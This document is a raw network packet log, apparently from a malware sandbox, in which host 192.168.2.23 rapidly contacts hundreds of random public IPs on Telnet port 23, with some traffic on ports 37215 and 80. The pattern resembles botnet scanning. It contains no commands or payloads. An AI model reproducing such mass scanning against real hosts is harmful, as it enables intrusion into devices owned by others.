Dec 3, 2024 22:11:52.377614975 CET	8163	23	192.168.2.23	113.85.166.179
Dec 3, 2024 22:11:52.377623081 CET	8163	23	192.168.2.23	201.173.155.190
Dec 3, 2024 22:11:52.377623081 CET	8163	23	192.168.2.23	24.190.215.149
Dec 3, 2024 22:11:52.377625942 CET	8163	23	192.168.2.23	182.12.121.58
Dec 3, 2024 22:11:52.377628088 CET	8163	23	192.168.2.23	152.92.46.157
Dec 3, 2024 22:11:52.377629995 CET	8163	23	192.168.2.23	97.17.101.209
Dec 3, 2024 22:11:52.377630949 CET	8163	23	192.168.2.23	147.65.234.195
Dec 3, 2024 22:11:52.377634048 CET	8163	23	192.168.2.23	136.57.138.98
Dec 3, 2024 22:11:52.377634048 CET	8163	23	192.168.2.23	166.122.76.217
Dec 3, 2024 22:11:52.377634048 CET	8163	23	192.168.2.23	68.142.227.222
Dec 3, 2024 22:11:52.377634048 CET	8163	23	192.168.2.23	195.224.165.22
Dec 3, 2024 22:11:52.377634048 CET	8163	23	192.168.2.23	218.97.3.51
Dec 3, 2024 22:11:52.377635002 CET	8163	23	192.168.2.23	24.11.114.49
Dec 3, 2024 22:11:52.377636909 CET	8163	23	192.168.2.23	131.76.161.24
Dec 3, 2024 22:11:52.377636909 CET	8163	23	192.168.2.23	121.136.139.110
Dec 3, 2024 22:11:52.377636909 CET	8163	23	192.168.2.23	113.172.144.132
Dec 3, 2024 22:11:52.377644062 CET	8163	23	192.168.2.23	201.78.143.73
Dec 3, 2024 22:11:52.377644062 CET	8163	23	192.168.2.23	138.90.85.36
Dec 3, 2024 22:11:52.377648115 CET	8163	23	192.168.2.23	100.218.152.187
Dec 3, 2024 22:11:52.377648115 CET	8163	23	192.168.2.23	107.185.164.4
Dec 3, 2024 22:11:52.377654076 CET	8163	23	192.168.2.23	41.34.166.178
Dec 3, 2024 22:11:52.377654076 CET	8163	23	192.168.2.23	135.63.185.105
Dec 3, 2024 22:11:52.377654076 CET	8163	23	192.168.2.23	161.121.31.195
Dec 3, 2024 22:11:52.377657890 CET	8163	23	192.168.2.23	164.224.89.49
Dec 3, 2024 22:11:52.377662897 CET	8163	23	192.168.2.23	90.167.212.100
Dec 3, 2024 22:11:52.377665043 CET	37215	5603	197.130.92.199	192.168.2.23
Dec 3, 2024 22:11:52.377671957 CET	8163	23	192.168.2.23	140.33.62.238
Dec 3, 2024 22:11:52.377676964 CET	8163	23	192.168.2.23	86.140.251.131
Dec 3, 2024 22:11:52.377684116 CET	8163	23	192.168.2.23	181.229.64.105
Dec 3, 2024 22:11:52.377700090 CET	8163	23	192.168.2.23	67.219.228.202
Dec 3, 2024 22:11:52.377700090 CET	8163	23	192.168.2.23	176.116.89.212
Dec 3, 2024 22:11:52.377706051 CET	8163	23	192.168.2.23	162.142.243.91
Dec 3, 2024 22:11:52.377706051 CET	8163	23	192.168.2.23	194.83.187.204
Dec 3, 2024 22:11:52.377708912 CET	8163	23	192.168.2.23	78.18.89.189
Dec 3, 2024 22:11:52.377708912 CET	8163	23	192.168.2.23	119.151.245.244
Dec 3, 2024 22:11:52.377711058 CET	8163	23	192.168.2.23	155.207.232.160
Dec 3, 2024 22:11:52.377711058 CET	8163	23	192.168.2.23	184.123.157.150
Dec 3, 2024 22:11:52.377711058 CET	8163	23	192.168.2.23	43.188.199.3
Dec 3, 2024 22:11:52.377722025 CET	8163	23	192.168.2.23	172.2.211.189
Dec 3, 2024 22:11:52.377722025 CET	5603	37215	192.168.2.23	197.130.92.199
Dec 3, 2024 22:11:52.377722979 CET	8163	23	192.168.2.23	68.96.181.68
Dec 3, 2024 22:11:52.377722979 CET	8163	23	192.168.2.23	101.125.82.9
Dec 3, 2024 22:11:52.377726078 CET	8163	23	192.168.2.23	219.143.248.24
Dec 3, 2024 22:11:52.377727032 CET	8163	23	192.168.2.23	135.16.83.106
Dec 3, 2024 22:11:52.377731085 CET	8163	23	192.168.2.23	18.210.24.75
Dec 3, 2024 22:11:52.377738953 CET	8163	23	192.168.2.23	216.211.215.2
Dec 3, 2024 22:11:52.377752066 CET	8163	23	192.168.2.23	221.219.49.144
Dec 3, 2024 22:11:52.377753019 CET	8163	23	192.168.2.23	155.105.15.84
Dec 3, 2024 22:11:52.377759933 CET	8163	23	192.168.2.23	125.229.235.169
Dec 3, 2024 22:11:52.377764940 CET	8163	23	192.168.2.23	27.242.10.49
Dec 3, 2024 22:11:52.377768993 CET	8163	23	192.168.2.23	121.200.216.151
Dec 3, 2024 22:11:52.377779007 CET	8163	23	192.168.2.23	114.254.94.22
Dec 3, 2024 22:11:52.377782106 CET	8163	23	192.168.2.23	153.190.52.196
Dec 3, 2024 22:11:52.377789974 CET	8163	23	192.168.2.23	105.75.150.202
Dec 3, 2024 22:11:52.377790928 CET	8163	23	192.168.2.23	62.216.2.88
Dec 3, 2024 22:11:52.377801895 CET	8163	23	192.168.2.23	42.239.171.85
Dec 3, 2024 22:11:52.377810001 CET	8163	23	192.168.2.23	208.140.211.52
Dec 3, 2024 22:11:52.377827883 CET	8163	23	192.168.2.23	63.107.130.216
Dec 3, 2024 22:11:52.377830982 CET	8163	23	192.168.2.23	173.75.103.41
Dec 3, 2024 22:11:52.377830982 CET	8163	23	192.168.2.23	182.78.233.55
Dec 3, 2024 22:11:52.377831936 CET	8163	23	192.168.2.23	18.86.192.168
Dec 3, 2024 22:11:52.377836943 CET	8163	23	192.168.2.23	152.81.187.229
Dec 3, 2024 22:11:52.377839088 CET	8163	23	192.168.2.23	194.15.42.250
Dec 3, 2024 22:11:52.377839088 CET	8163	23	192.168.2.23	219.89.24.101
Dec 3, 2024 22:11:52.377841949 CET	8163	23	192.168.2.23	38.55.200.71
Dec 3, 2024 22:11:52.377850056 CET	8163	23	192.168.2.23	31.116.112.46
Dec 3, 2024 22:11:52.377852917 CET	8163	23	192.168.2.23	185.39.36.51
Dec 3, 2024 22:11:52.377852917 CET	8163	23	192.168.2.23	38.119.178.101
Dec 3, 2024 22:11:52.377856970 CET	8163	23	192.168.2.23	159.25.136.31
Dec 3, 2024 22:11:52.377861977 CET	8163	23	192.168.2.23	161.48.11.82
Dec 3, 2024 22:11:52.377867937 CET	8163	23	192.168.2.23	117.118.105.239
Dec 3, 2024 22:11:52.377882004 CET	8163	23	192.168.2.23	82.89.77.113
Dec 3, 2024 22:11:52.377887011 CET	8163	23	192.168.2.23	222.238.79.243
Dec 3, 2024 22:11:52.377893925 CET	8163	23	192.168.2.23	48.44.162.87
Dec 3, 2024 22:11:52.377896070 CET	8163	23	192.168.2.23	163.221.120.3
Dec 3, 2024 22:11:52.377916098 CET	8163	23	192.168.2.23	83.173.13.38
Dec 3, 2024 22:11:52.377918959 CET	8163	23	192.168.2.23	42.47.4.223
Dec 3, 2024 22:11:52.377923965 CET	8163	23	192.168.2.23	119.185.240.178
Dec 3, 2024 22:11:52.377926111 CET	8163	23	192.168.2.23	73.84.126.245
Dec 3, 2024 22:11:52.377932072 CET	8163	23	192.168.2.23	48.97.109.58
Dec 3, 2024 22:11:52.377937078 CET	8163	23	192.168.2.23	90.218.15.108
Dec 3, 2024 22:11:52.377944946 CET	8163	23	192.168.2.23	125.180.17.220
Dec 3, 2024 22:11:52.377949953 CET	8163	23	192.168.2.23	103.240.50.181
Dec 3, 2024 22:11:52.377949953 CET	8163	23	192.168.2.23	119.93.211.251
Dec 3, 2024 22:11:52.377964020 CET	8163	23	192.168.2.23	197.168.209.6
Dec 3, 2024 22:11:52.377968073 CET	8163	23	192.168.2.23	81.103.33.106
Dec 3, 2024 22:11:52.377968073 CET	8163	23	192.168.2.23	108.205.243.124
Dec 3, 2024 22:11:52.377969027 CET	8163	23	192.168.2.23	104.94.226.211
Dec 3, 2024 22:11:52.377983093 CET	8163	23	192.168.2.23	178.234.102.23
Dec 3, 2024 22:11:52.377988100 CET	8163	23	192.168.2.23	179.173.18.161
Dec 3, 2024 22:11:52.377990007 CET	8163	23	192.168.2.23	35.201.46.224
Dec 3, 2024 22:11:52.377990007 CET	8163	23	192.168.2.23	83.178.173.105
Dec 3, 2024 22:11:52.377998114 CET	8163	23	192.168.2.23	47.3.138.211
Dec 3, 2024 22:11:52.378000021 CET	8163	23	192.168.2.23	59.241.59.7
Dec 3, 2024 22:11:52.378007889 CET	8163	23	192.168.2.23	176.42.153.28
Dec 3, 2024 22:11:52.378026009 CET	8163	23	192.168.2.23	144.56.225.72
Dec 3, 2024 22:11:52.378026009 CET	8163	23	192.168.2.23	188.96.31.196
Dec 3, 2024 22:11:52.378026962 CET	8163	23	192.168.2.23	134.151.75.24
Dec 3, 2024 22:11:52.378029108 CET	8163	23	192.168.2.23	62.176.199.86
Dec 3, 2024 22:11:52.378029108 CET	8163	23	192.168.2.23	108.148.39.136
Dec 3, 2024 22:11:52.378045082 CET	8163	23	192.168.2.23	134.50.184.74
Dec 3, 2024 22:11:52.378046989 CET	8163	23	192.168.2.23	152.29.148.42
Dec 3, 2024 22:11:52.378062010 CET	8163	23	192.168.2.23	118.57.172.202
Dec 3, 2024 22:11:52.378066063 CET	8163	23	192.168.2.23	82.105.41.241
Dec 3, 2024 22:11:52.378077984 CET	8163	23	192.168.2.23	173.0.145.45
Dec 3, 2024 22:11:52.378078938 CET	8163	23	192.168.2.23	94.192.194.242
Dec 3, 2024 22:11:52.378082991 CET	8163	23	192.168.2.23	97.253.91.81
Dec 3, 2024 22:11:52.378086090 CET	8163	23	192.168.2.23	180.223.139.103
Dec 3, 2024 22:11:52.378098011 CET	8163	23	192.168.2.23	50.23.32.156
Dec 3, 2024 22:11:52.378101110 CET	8163	23	192.168.2.23	37.120.26.17
Dec 3, 2024 22:11:52.378103971 CET	8163	23	192.168.2.23	171.149.14.210
Dec 3, 2024 22:11:52.378103971 CET	8163	23	192.168.2.23	73.91.209.224
Dec 3, 2024 22:11:52.378114939 CET	8163	23	192.168.2.23	2.83.93.28
Dec 3, 2024 22:11:52.378118038 CET	8163	23	192.168.2.23	190.201.52.161
Dec 3, 2024 22:11:52.378117085 CET	8163	23	192.168.2.23	41.58.87.4
Dec 3, 2024 22:11:52.378127098 CET	8163	23	192.168.2.23	209.35.143.49
Dec 3, 2024 22:11:52.378128052 CET	8163	23	192.168.2.23	144.20.20.143
Dec 3, 2024 22:11:52.378139973 CET	8163	23	192.168.2.23	164.242.157.91
Dec 3, 2024 22:11:52.378154039 CET	8163	23	192.168.2.23	107.162.247.239
Dec 3, 2024 22:11:52.378155947 CET	8163	23	192.168.2.23	177.111.234.57
Dec 3, 2024 22:11:52.378165007 CET	8163	23	192.168.2.23	131.16.13.110
Dec 3, 2024 22:11:52.378170967 CET	8163	23	192.168.2.23	175.13.107.60
Dec 3, 2024 22:11:52.378177881 CET	8163	23	192.168.2.23	185.86.145.189
Dec 3, 2024 22:11:52.378184080 CET	8163	23	192.168.2.23	101.41.95.95
Dec 3, 2024 22:11:52.378185987 CET	37215	42524	156.239.228.206	192.168.2.23
Dec 3, 2024 22:11:52.378190041 CET	8163	23	192.168.2.23	23.132.31.244
Dec 3, 2024 22:11:52.378190041 CET	8163	23	192.168.2.23	37.219.215.248
Dec 3, 2024 22:11:52.378197908 CET	8163	23	192.168.2.23	219.245.113.74
Dec 3, 2024 22:11:52.378197908 CET	80	48372	113.202.243.27	192.168.2.23
Dec 3, 2024 22:11:52.378197908 CET	8163	23	192.168.2.23	183.191.23.250
Dec 3, 2024 22:11:52.378213882 CET	8163	23	192.168.2.23	218.207.136.145
Dec 3, 2024 22:11:52.378247023 CET	42524	37215	192.168.2.23	156.239.228.206
Dec 3, 2024 22:11:52.378247023 CET	48372	80	192.168.2.23	113.202.243.27
Dec 3, 2024 22:11:52.378273964 CET	8163	23	192.168.2.23	174.16.210.18
Dec 3, 2024 22:11:52.378273010 CET	8163	23	192.168.2.23	175.9.25.0
Dec 3, 2024 22:11:52.378274918 CET	8163	23	192.168.2.23	96.40.46.219
Dec 3, 2024 22:11:52.378278971 CET	8163	23	192.168.2.23	60.207.196.240
Dec 3, 2024 22:11:52.378288031 CET	8163	23	192.168.2.23	198.55.141.242
Dec 3, 2024 22:11:52.378298044 CET	8163	23	192.168.2.23	207.243.75.136
Dec 3, 2024 22:11:52.378303051 CET	8163	23	192.168.2.23	145.192.30.2
Dec 3, 2024 22:11:52.378303051 CET	8163	23	192.168.2.23	211.114.158.24
Dec 3, 2024 22:11:52.378314018 CET	8163	23	192.168.2.23	8.176.89.194
Dec 3, 2024 22:11:52.378318071 CET	8163	23	192.168.2.23	172.62.189.142
Dec 3, 2024 22:11:52.378326893 CET	8163	23	192.168.2.23	83.201.237.18
Dec 3, 2024 22:11:52.378331900 CET	8163	23	192.168.2.23	117.116.193.163
Dec 3, 2024 22:11:52.378331900 CET	8163	23	192.168.2.23	141.9.99.111
Dec 3, 2024 22:11:52.378334045 CET	8163	23	192.168.2.23	18.221.51.188
Dec 3, 2024 22:11:52.378344059 CET	8163	23	192.168.2.23	94.221.144.22
Dec 3, 2024 22:11:52.378361940 CET	8163	23	192.168.2.23	204.46.130.136
Dec 3, 2024 22:11:52.378361940 CET	8163	23	192.168.2.23	18.87.114.59
Dec 3, 2024 22:11:52.378367901 CET	8163	23	192.168.2.23	209.199.207.165
Dec 3, 2024 22:11:52.378375053 CET	8163	23	192.168.2.23	150.61.55.248
Dec 3, 2024 22:11:52.378376961 CET	8163	23	192.168.2.23	193.175.159.160
Dec 3, 2024 22:11:52.378392935 CET	8163	23	192.168.2.23	153.247.36.77
Dec 3, 2024 22:11:52.378395081 CET	8163	23	192.168.2.23	48.179.252.203
Dec 3, 2024 22:11:52.378395081 CET	8163	23	192.168.2.23	71.2.174.47
Dec 3, 2024 22:11:52.378396034 CET	8163	23	192.168.2.23	146.175.39.18
Dec 3, 2024 22:11:52.378412962 CET	8163	23	192.168.2.23	164.8.250.8
Dec 3, 2024 22:11:52.378412962 CET	8163	23	192.168.2.23	9.114.13.247
Dec 3, 2024 22:11:52.378422976 CET	8163	23	192.168.2.23	70.142.247.123
Dec 3, 2024 22:11:52.378426075 CET	8163	23	192.168.2.23	155.140.77.227
Dec 3, 2024 22:11:52.378426075 CET	8163	23	192.168.2.23	109.131.209.7
Dec 3, 2024 22:11:52.378427982 CET	8163	23	192.168.2.23	177.198.7.173
Dec 3, 2024 22:11:52.378441095 CET	8163	23	192.168.2.23	1.191.7.150
Dec 3, 2024 22:11:52.378448009 CET	8163	23	192.168.2.23	219.45.53.87
Dec 3, 2024 22:11:52.378459930 CET	8163	23	192.168.2.23	153.156.192.128
Dec 3, 2024 22:11:52.378467083 CET	8163	23	192.168.2.23	139.249.28.90
Dec 3, 2024 22:11:52.378467083 CET	8163	23	192.168.2.23	36.171.158.157
Dec 3, 2024 22:11:52.378480911 CET	8163	23	192.168.2.23	14.158.7.59
Dec 3, 2024 22:11:52.378482103 CET	8163	23	192.168.2.23	149.13.212.167
Dec 3, 2024 22:11:52.378498077 CET	8163	23	192.168.2.23	197.109.183.79
Dec 3, 2024 22:11:52.378500938 CET	8163	23	192.168.2.23	101.63.160.93
Dec 3, 2024 22:11:52.378500938 CET	8163	23	192.168.2.23	37.128.163.37
Dec 3, 2024 22:11:52.378503084 CET	8163	23	192.168.2.23	166.22.80.218
Dec 3, 2024 22:11:52.378515959 CET	8163	23	192.168.2.23	211.158.220.189
Dec 3, 2024 22:11:52.378515959 CET	8163	23	192.168.2.23	104.55.52.38
Dec 3, 2024 22:11:52.378515959 CET	8163	23	192.168.2.23	147.159.131.25
Dec 3, 2024 22:11:52.378518105 CET	8163	23	192.168.2.23	73.15.124.101
Dec 3, 2024 22:11:52.378524065 CET	8163	23	192.168.2.23	161.218.234.165
Dec 3, 2024 22:11:52.378525972 CET	8163	23	192.168.2.23	46.47.16.122
Dec 3, 2024 22:11:52.378530025 CET	8163	23	192.168.2.23	48.174.97.217
Dec 3, 2024 22:11:52.378535986 CET	8163	23	192.168.2.23	1.174.105.15
Dec 3, 2024 22:11:52.378535986 CET	8163	23	192.168.2.23	207.37.174.77
Dec 3, 2024 22:11:52.378546953 CET	8163	23	192.168.2.23	23.57.108.113
Dec 3, 2024 22:11:52.378557920 CET	8163	23	192.168.2.23	209.6.163.168
Dec 3, 2024 22:11:52.378561020 CET	8163	23	192.168.2.23	65.71.29.91
Dec 3, 2024 22:11:52.378563881 CET	8163	23	192.168.2.23	148.88.122.211
Dec 3, 2024 22:11:52.378566027 CET	8163	23	192.168.2.23	164.234.235.98
Dec 3, 2024 22:11:52.378581047 CET	8163	23	192.168.2.23	106.162.93.96
Dec 3, 2024 22:11:52.378585100 CET	8163	23	192.168.2.23	187.131.254.3
Dec 3, 2024 22:11:52.378596067 CET	8163	23	192.168.2.23	155.241.4.181
Dec 3, 2024 22:11:52.378597975 CET	8163	23	192.168.2.23	116.1.61.37
Dec 3, 2024 22:11:52.378597975 CET	8163	23	192.168.2.23	111.165.89.30
Dec 3, 2024 22:11:52.378602028 CET	80	49466	52.233.176.82	192.168.2.23
Dec 3, 2024 22:11:52.378613949 CET	8163	23	192.168.2.23	118.140.154.76
Dec 3, 2024 22:11:52.378614902 CET	8163	23	192.168.2.23	35.255.147.26
Dec 3, 2024 22:11:52.378623009 CET	8163	23	192.168.2.23	51.54.31.196
Dec 3, 2024 22:11:52.378628016 CET	49466	80	192.168.2.23	52.233.176.82
Dec 3, 2024 22:11:52.378648043 CET	8163	23	192.168.2.23	182.97.33.67
Dec 3, 2024 22:11:52.378654957 CET	8163	23	192.168.2.23	103.61.142.186
Dec 3, 2024 22:11:52.378664970 CET	8163	23	192.168.2.23	36.136.64.82
Dec 3, 2024 22:11:52.378671885 CET	8163	23	192.168.2.23	211.97.222.244
Dec 3, 2024 22:11:52.378675938 CET	8163	23	192.168.2.23	190.218.105.155
Dec 3, 2024 22:11:52.378679991 CET	8163	23	192.168.2.23	202.88.67.35
Dec 3, 2024 22:11:52.378679991 CET	8163	23	192.168.2.23	222.158.194.31
Dec 3, 2024 22:11:52.378711939 CET	8163	23	192.168.2.23	116.190.200.210
Dec 3, 2024 22:11:52.378711939 CET	8163	23	192.168.2.23	211.157.35.98
Dec 3, 2024 22:11:52.378719091 CET	8163	23	192.168.2.23	112.3.102.86
Dec 3, 2024 22:11:52.378720999 CET	8163	23	192.168.2.23	88.129.220.35
Dec 3, 2024 22:11:52.378736019 CET	8163	23	192.168.2.23	220.241.215.25
Dec 3, 2024 22:11:52.378736019 CET	8163	23	192.168.2.23	121.145.234.249
Dec 3, 2024 22:11:52.378739119 CET	8163	23	192.168.2.23	140.139.28.11
Dec 3, 2024 22:11:52.378740072 CET	8163	23	192.168.2.23	132.127.214.178
Dec 3, 2024 22:11:52.378761053 CET	8163	23	192.168.2.23	178.231.243.155
Dec 3, 2024 22:11:52.378770113 CET	8163	23	192.168.2.23	117.39.237.87
Dec 3, 2024 22:11:52.378771067 CET	8163	23	192.168.2.23	199.238.14.240
Dec 3, 2024 22:11:52.378782034 CET	8163	23	192.168.2.23	203.244.127.43
Dec 3, 2024 22:11:52.378782988 CET	8163	23	192.168.2.23	81.109.154.112
Dec 3, 2024 22:11:52.378793955 CET	8163	23	192.168.2.23	160.239.91.198
Dec 3, 2024 22:11:52.378796101 CET	8163	23	192.168.2.23	197.67.177.248
Dec 3, 2024 22:11:52.378797054 CET	80	55886	101.242.71.7	192.168.2.23
Dec 3, 2024 22:11:52.378799915 CET	8163	23	192.168.2.23	158.106.211.150
Dec 3, 2024 22:11:52.378813982 CET	8163	23	192.168.2.23	177.203.6.87
Dec 3, 2024 22:11:52.378813982 CET	8163	23	192.168.2.23	98.235.251.220
Dec 3, 2024 22:11:52.378823042 CET	8163	23	192.168.2.23	62.182.162.24
Dec 3, 2024 22:11:52.378824949 CET	8163	23	192.168.2.23	102.214.255.24
Dec 3, 2024 22:11:52.378824949 CET	8163	23	192.168.2.23	201.225.242.56
Dec 3, 2024 22:11:52.378838062 CET	8163	23	192.168.2.23	73.92.3.6
Dec 3, 2024 22:11:52.378838062 CET	55886	80	192.168.2.23	101.242.71.7
Dec 3, 2024 22:11:52.378844023 CET	8163	23	192.168.2.23	167.212.81.54
Dec 3, 2024 22:11:52.378846884 CET	8163	23	192.168.2.23	112.169.49.238
Dec 3, 2024 22:11:52.378844976 CET	8163	23	192.168.2.23	120.29.44.221
Dec 3, 2024 22:11:52.378850937 CET	8163	23	192.168.2.23	115.50.90.51
Dec 3, 2024 22:11:52.378861904 CET	8163	23	192.168.2.23	205.177.206.154
Dec 3, 2024 22:11:52.378861904 CET	8163	23	192.168.2.23	120.109.89.192
Dec 3, 2024 22:11:52.378861904 CET	8163	23	192.168.2.23	17.85.131.75
Dec 3, 2024 22:11:52.378874063 CET	8163	23	192.168.2.23	190.127.227.157
Dec 3, 2024 22:11:52.378884077 CET	8163	23	192.168.2.23	192.219.148.84
Dec 3, 2024 22:11:52.378901958 CET	8163	23	192.168.2.23	197.89.11.87
Dec 3, 2024 22:11:52.378910065 CET	8163	23	192.168.2.23	131.198.77.21
Dec 3, 2024 22:11:52.378910065 CET	8163	23	192.168.2.23	57.34.234.97
Dec 3, 2024 22:11:52.378911018 CET	8163	23	192.168.2.23	18.127.2.147
Dec 3, 2024 22:11:52.378916979 CET	8163	23	192.168.2.23	14.188.184.49
Dec 3, 2024 22:11:52.378921986 CET	8163	23	192.168.2.23	122.49.244.95
Dec 3, 2024 22:11:52.378927946 CET	8163	23	192.168.2.23	107.90.225.144
Dec 3, 2024 22:11:52.378928900 CET	8163	23	192.168.2.23	181.20.237.23
Dec 3, 2024 22:11:52.378932953 CET	8163	23	192.168.2.23	25.187.251.30
Dec 3, 2024 22:11:52.378945112 CET	8163	23	192.168.2.23	72.27.120.135
Dec 3, 2024 22:11:52.378954887 CET	8163	23	192.168.2.23	93.57.247.30
Dec 3, 2024 22:11:52.378957987 CET	8163	23	192.168.2.23	187.14.101.4
Dec 3, 2024 22:11:52.378957987 CET	8163	23	192.168.2.23	97.17.143.28
Dec 3, 2024 22:11:52.378964901 CET	8163	23	192.168.2.23	164.183.26.197
Dec 3, 2024 22:11:52.378968000 CET	8163	23	192.168.2.23	81.218.249.27
Dec 3, 2024 22:11:52.378983021 CET	8163	23	192.168.2.23	93.19.22.241
Dec 3, 2024 22:11:52.378983021 CET	8163	23	192.168.2.23	54.101.225.246
Dec 3, 2024 22:11:52.378992081 CET	8163	23	192.168.2.23	147.203.38.6
Dec 3, 2024 22:11:52.378995895 CET	8163	23	192.168.2.23	208.5.66.58
Dec 3, 2024 22:11:52.379007101 CET	8163	23	192.168.2.23	158.235.28.117
Dec 3, 2024 22:11:52.379012108 CET	8163	23	192.168.2.23	49.45.176.196
Dec 3, 2024 22:11:52.379009008 CET	8163	23	192.168.2.23	70.9.5.210
Dec 3, 2024 22:11:52.379014969 CET	8163	23	192.168.2.23	112.39.162.108
Dec 3, 2024 22:11:52.379014969 CET	8163	23	192.168.2.23	110.125.254.217
Dec 3, 2024 22:11:52.379025936 CET	8163	23	192.168.2.23	198.206.151.136
Dec 3, 2024 22:11:52.379026890 CET	8163	23	192.168.2.23	59.220.210.136
Dec 3, 2024 22:11:52.379041910 CET	8163	23	192.168.2.23	141.13.77.252
Dec 3, 2024 22:11:52.379045010 CET	8163	23	192.168.2.23	219.182.193.46
Dec 3, 2024 22:11:52.379048109 CET	8163	23	192.168.2.23	198.226.245.114
Dec 3, 2024 22:11:52.379360914 CET	80	56114	182.114.118.150	192.168.2.23
Dec 3, 2024 22:11:52.379441023 CET	56114	80	192.168.2.23	182.114.118.150
Dec 3, 2024 22:11:52.379740000 CET	80	42296	211.248.1.241	192.168.2.23
Dec 3, 2024 22:11:52.379828930 CET	80	34860	192.122.106.149	192.168.2.23
Dec 3, 2024 22:11:52.379837990 CET	80	47628	2.111.72.125	192.168.2.23
Dec 3, 2024 22:11:52.379920006 CET	80	41986	13.227.133.150	192.168.2.23
Dec 3, 2024 22:11:52.379930019 CET	80	58086	172.13.154.229	192.168.2.23
Dec 3, 2024 22:11:52.379939079 CET	80	37010	59.234.43.201	192.168.2.23
Dec 3, 2024 22:11:52.379949093 CET	80	51328	69.224.65.58	192.168.2.23
Dec 3, 2024 22:11:52.380011082 CET	80	45152	216.84.178.95	192.168.2.23
Dec 3, 2024 22:11:52.380022049 CET	80	58266	87.124.13.206	192.168.2.23
Dec 3, 2024 22:11:52.380032063 CET	80	33388	9.180.125.203	192.168.2.23
Dec 3, 2024 22:11:52.380042076 CET	80	45884	151.117.200.130	192.168.2.23
Dec 3, 2024 22:11:52.380049944 CET	80	41756	13.209.9.211	192.168.2.23
Dec 3, 2024 22:11:52.380057096 CET	80	51036	195.46.36.83	192.168.2.23
Dec 3, 2024 22:11:52.380105972 CET	80	58680	69.165.68.106	192.168.2.23
Dec 3, 2024 22:11:52.380115032 CET	80	48920	152.61.133.39	192.168.2.23
Dec 3, 2024 22:11:52.380122900 CET	80	37352	151.234.254.75	192.168.2.23
Dec 3, 2024 22:11:52.380126953 CET	80	47330	39.26.141.128	192.168.2.23
Dec 3, 2024 22:11:52.380139112 CET	80	33704	46.218.150.180	192.168.2.23
Dec 3, 2024 22:11:52.380150080 CET	80	51792	57.234.210.229	192.168.2.23
Dec 3, 2024 22:11:52.380197048 CET	80	58022	68.131.78.173	192.168.2.23
Dec 3, 2024 22:11:52.380206108 CET	80	58022	68.131.78.173	192.168.2.23
Dec 3, 2024 22:11:52.380366087 CET	58022	80	192.168.2.23	68.131.78.173
Dec 3, 2024 22:11:52.380409956 CET	80	51792	57.234.210.229	192.168.2.23
Dec 3, 2024 22:11:52.380451918 CET	51792	80	192.168.2.23	57.234.210.229
Dec 3, 2024 22:11:52.380656004 CET	80	33704	46.218.150.180	192.168.2.23
Dec 3, 2024 22:11:52.380707026 CET	33704	80	192.168.2.23	46.218.150.180
Dec 3, 2024 22:11:52.381139040 CET	80	34700	123.143.40.243	192.168.2.23
Dec 3, 2024 22:11:52.381194115 CET	34700	80	192.168.2.23	123.143.40.243
Dec 3, 2024 22:11:52.381217003 CET	80	37352	151.234.254.75	192.168.2.23
Dec 3, 2024 22:11:52.381262064 CET	37352	80	192.168.2.23	151.234.254.75
Dec 3, 2024 22:11:52.381313086 CET	34700	80	192.168.2.23	123.143.40.243
Dec 3, 2024 22:11:52.381313086 CET	34700	80	192.168.2.23	123.143.40.243
Dec 3, 2024 22:11:52.381514072 CET	80	47330	39.26.141.128	192.168.2.23
Dec 3, 2024 22:11:52.381555080 CET	47330	80	192.168.2.23	39.26.141.128
Dec 3, 2024 22:11:52.381628036 CET	80	37190	4.207.41.110	192.168.2.23
Dec 3, 2024 22:11:52.381668091 CET	37190	80	192.168.2.23	4.207.41.110
Dec 3, 2024 22:11:52.381721973 CET	34738	80	192.168.2.23	123.143.40.243
Dec 3, 2024 22:11:52.381942987 CET	80	48920	152.61.133.39	192.168.2.23
Dec 3, 2024 22:11:52.382020950 CET	48920	80	192.168.2.23	152.61.133.39
Dec 3, 2024 22:11:52.382095098 CET	80	51036	195.46.36.83	192.168.2.23
Dec 3, 2024 22:11:52.382142067 CET	51036	80	192.168.2.23	195.46.36.83
Dec 3, 2024 22:11:52.382169962 CET	80	47578	13.196.196.235	192.168.2.23
Dec 3, 2024 22:11:52.382177114 CET	37190	80	192.168.2.23	4.207.41.110
Dec 3, 2024 22:11:52.382177114 CET	37190	80	192.168.2.23	4.207.41.110
Dec 3, 2024 22:11:52.382201910 CET	47578	80	192.168.2.23	13.196.196.235
Dec 3, 2024 22:11:52.382497072 CET	37228	80	192.168.2.23	4.207.41.110
Dec 3, 2024 22:11:52.382579088 CET	80	58680	69.165.68.106	192.168.2.23
Dec 3, 2024 22:11:52.382589102 CET	80	41756	13.209.9.211	192.168.2.23
Dec 3, 2024 22:11:52.382616043 CET	58680	80	192.168.2.23	69.165.68.106
Dec 3, 2024 22:11:52.382628918 CET	41756	80	192.168.2.23	13.209.9.211
Dec 3, 2024 22:11:52.382725000 CET	80	54656	93.254.60.25	192.168.2.23
Dec 3, 2024 22:11:52.382776022 CET	54656	80	192.168.2.23	93.254.60.25
Dec 3, 2024 22:11:52.382802010 CET	80	58086	172.13.154.229	192.168.2.23
Dec 3, 2024 22:11:52.382843018 CET	58086	80	192.168.2.23	172.13.154.229
Dec 3, 2024 22:11:52.382930994 CET	47578	80	192.168.2.23	13.196.196.235
Dec 3, 2024 22:11:52.382930994 CET	47578	80	192.168.2.23	13.196.196.235
Dec 3, 2024 22:11:52.383177996 CET	80	45152	216.84.178.95	192.168.2.23
Dec 3, 2024 22:11:52.383218050 CET	45152	80	192.168.2.23	216.84.178.95
Dec 3, 2024 22:11:52.383222103 CET	47616	80	192.168.2.23	13.196.196.235
Dec 3, 2024 22:11:52.383277893 CET	80	37010	59.234.43.201	192.168.2.23
Dec 3, 2024 22:11:52.383328915 CET	37010	80	192.168.2.23	59.234.43.201
Dec 3, 2024 22:11:52.383572102 CET	80	33388	9.180.125.203	192.168.2.23
Dec 3, 2024 22:11:52.383608103 CET	33388	80	192.168.2.23	9.180.125.203
Dec 3, 2024 22:11:52.383629084 CET	54656	80	192.168.2.23	93.254.60.25
Dec 3, 2024 22:11:52.383629084 CET	54656	80	192.168.2.23	93.254.60.25
Dec 3, 2024 22:11:52.383820057 CET	80	57990	179.139.164.55	192.168.2.23
Dec 3, 2024 22:11:52.383857012 CET	57990	80	192.168.2.23	179.139.164.55
Dec 3, 2024 22:11:52.383919001 CET	54694	80	192.168.2.23	93.254.60.25
Dec 3, 2024 22:11:52.384129047 CET	80	51328	69.224.65.58	192.168.2.23
Dec 3, 2024 22:11:52.384139061 CET	80	58266	87.124.13.206	192.168.2.23
Dec 3, 2024 22:11:52.384160995 CET	51328	80	192.168.2.23	69.224.65.58
